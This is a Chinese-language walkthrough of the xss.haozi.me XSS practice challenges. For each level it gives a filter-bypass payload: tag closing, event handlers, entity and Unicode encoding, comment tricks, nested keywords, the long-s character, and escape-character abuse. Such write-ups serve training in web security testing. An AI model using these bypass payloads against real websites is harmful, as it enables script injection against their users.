XSS闯关之xss.haozi.me
/背景
这里写下haozi大佬的XSS闯关练习笔记。
题目网址为:https://xss.haozi.me/
项目地址为:https://github.com/haozi/xss-demo
注意这里有一个自带alert(1)的js地址:https://xss.haozi.me/j.js。
0x00
关键源码:
1 | function render (input) { |
无任何过滤直接往div标签内写内容,直接上payload即可。下面将本次用到的XSS payload小结如下:
1 | <script>alert(1)</script> |
0x01
关键源码:
1 | function render (input) { |
无任何过滤直接往textarea标签内写内容,直接写和上面一样的payload是不行的,因为该标签内被解析为文本内容,文本框是无法执行JS代码的,因此需要闭合该textarea标签:
1 | </textarea><svg onload=alert(1)> |
0x02
关键源码:
1 | function render (input) { |
简单的DOM型XSS,无任何过滤直接往input标签内的value属性写内容,闭合掉双引号和大于号即可:
1 | "><body onload=alert(1)> |
也可以如下构造,当鼠标指向input输入框时就会执行弹框:
1 | " onmouseover="alert(1) |
0x03
关键源码:
1 | function render (input) { |
正则过滤了[]、()等符号,那就用反引号`来替代():
1 | <img src=x onerror=alert`1`> |
当然在标签属性内也可以使用HTML实体编码绕过:
1 | <img src="" onerror=alert(1)> |
直接引用外部js文件同样OK:
1 | <script src="https://xss.haozi.me/j.js"></script> |
0x04
关键源码:
1 | function render (input) { |
在上一题的基础上,添加了反引号`的过滤,但前面的后两个payload是可以用的:
1 | <img src="" onerror=alert(1)> |
当然还有下面一些payload,同样都是利用编码绕过,只是标签不同而已:
1 | <script>window.onerror=eval;throw'=alert\x281\x29'</script>//利用js捕获抛出错误执行弹框,Unicode编码 |
0x05
关键源码:
1 | function render (input) { |
过滤了–>,并将输入放入注释中间。但是,
HTML注释支持以下两种方式:
<!-- xxx -->
<!- xxx -!>
<!—
以!开头,以!结尾对称注释的方式—!>
直接如下绕过:
1 | --!><body/onload=alert(1)> |
0x06
关键源码:
1 | function render (input) { |
过滤了auto、大于号>、以on开头=等号结尾,将其替换成_,且忽略大小写。但是没有过滤换行,直接可以换行绕过。
这里利用input标签的onmouse系列属性弹框即可:
1 | onmousemove |
另外,input标签的type属性可以设置为image,然后利用类似img标签的套路来弹框即可:
1 | type="image" src="" onerror |
0x07
关键源码:
1 | function render (input) { |
正则过滤了<>括起来的字符串内容,这里可以利用容错性,少添加最后一个大于号>也是可以执行的:
1 | <body/onload=alert(1)// |
当然,”//“可以替换为”<!–”或空格或回车。
0x08
关键源码:
1 | function render (src) { |
正则过滤了想要闭合用的style标签,且忽略大小写。和前面的一样,我们可以在标签的大于号>之前添加空格或换行来绕过执行:
1 | </style ><body/onload=alert(1)> |
0x09
关键源码:
1 | function render (input) { |
正则限制了必须以指定的域名来开头,并放置在script标签的src属性中。这里直接闭合双引号和script标签即可:
1 | https://www.segmentfault.com"></script> |
0x0A
关键源码:
1 | function render (input) { |
在上一题的基础上,过滤了&、’、”、<>、/等字符。也就是说,不能通过闭合的形式构造payload执行了。
这里可以利用URL的@字符的特性来调用外部j.js。
一般的,当我们访问http://a.com@b.com
实际是访问http://b.com
虽然URL中的特殊符号会被过滤,但过滤后的HTML实体编码在HTML标签属性值中无影响,可以直接解析执行:
1 | https://www.segmentfault.com@xss.haozi.me/j.js |
但是我这里是没有成功执行的,原因待确定。
0x0B
关键源码:
1 | function render (input) { |
将输入的字母全部转换成大写形式就直接传入h1标签中。
有几个tips:
- html标签大小写无影响;
- js严格区分大小写。
也就是说,不能直接构造js代码执行了,但这里可以利用script标签加载j.js,因为URL地址不受大小写影响且HTML标签不受大小写影响:
1 | <script src="https://xss.haozi.me/j.js"></script> |
0x0C
关键源码:
1 | function render (input) { |
在上一题的基础上,替换了script字符串为空,且忽略大小写。
我们可以内嵌script来绕过:
1 | <scrscriptipt src="https://xss.haozi.me/j.js"></scriscriptpt> |
0x0D
关键源码:
1 | function render (input) { |
正则过滤了<、/、”、’等字符为空,再将输入传入script标签中有注释符的alert()内。
先通过换行绕过注释符限制,用反引号`替换(),最后换行添加HTML注释 –> 来注释掉后面的js代码(记住,在–>前必须添加换行才会生效):
1 |
|
0x0E
关键源码:
1 | function render (input) { |
正则过滤了以”<”开头且紧接字母的字符串,将其在”<”与字母中间添加下划线”_”。
这题需要解决两个问题:1. \<s被正则替换坏了; 2. 大写的js无法正常运行。
这个确实不会搞,到网上看了下wp,发现还有这么个东西:“ſ 古英语中的s的写法, 转成大写是正常的S”。
那就直接将之前payload的s替换成 ſ 即可:
1 | <ſcript src="https://xss.haozi.me/j.js"></script> |
0x0F
关键源码:
1 | function render (input) { |
正则对单双引号、&、<>、/进行了HTML实体编码,再放置到img标签的onerror属性中。
但是,对HTML inline js转义就是做无用功,浏览器会先解析HTML,然后再解析js。
我们可以直接闭合前面的console.error(),添加;分号再注入alert语句即可:
1 | ');alert('1 |
0x10
关键源码:
1 | function render (input) { |
直接将输入放置到script标签的window.data中。
可以在前面通过引号随意赋值给window.data,以分号结束该js语句,再注入alert语句即可:
1 | "";alert(1) |
可以闭合掉script标签:
1 | </script><script>alert(1) |
可以直接在window.data执行再赋值:
1 | alert(1) |
0x11
关键源码:
1 | // from alf.nu |
很长的一段过滤,将反斜杠\、单双引号、<>、反引号`、斜杠/、换行符\n与\r、tab符\t、换页符\f、垂直制表符\v、空字符\O都在其前面添加反斜杠\进行转义,最后再放置到script标签中。
这里注意到console.log("${s}")
,当我们输入双引号时,其实是输入\“,然后刚刚的代码就变成console.log("\"")
,这样输入的\“前面的反斜杠\直接放在双引号中被忽略掉了,起不到转义字符的作用,因此可以利用此直接构造:
1 | ");alert("1 |
中间的payload虽然//被转义为了\/\/,但转义之后还是//,不影响注释效果。
0x12
关键源码:
1 | // from alf.nu |
正则过滤了双引号,将其替换为\\“,再将输入放置到script标的console.log()中。
测试一下发现,当我们输入\“时,经过转义后为console.log("\\"")
,即将过滤时添加的转移符给转义了,从而绕过了转移符的转义功能,可构造如下payload:
1 | \");alert(1)// |
另外,由于解析HTML标签的优先级高于解析JS的优先级,因此也可以直接闭合标签:
1 | </script><script>alert(1)// |
小结
这次的练习多是针对正则的绕过,学到一些新姿势,推荐练习。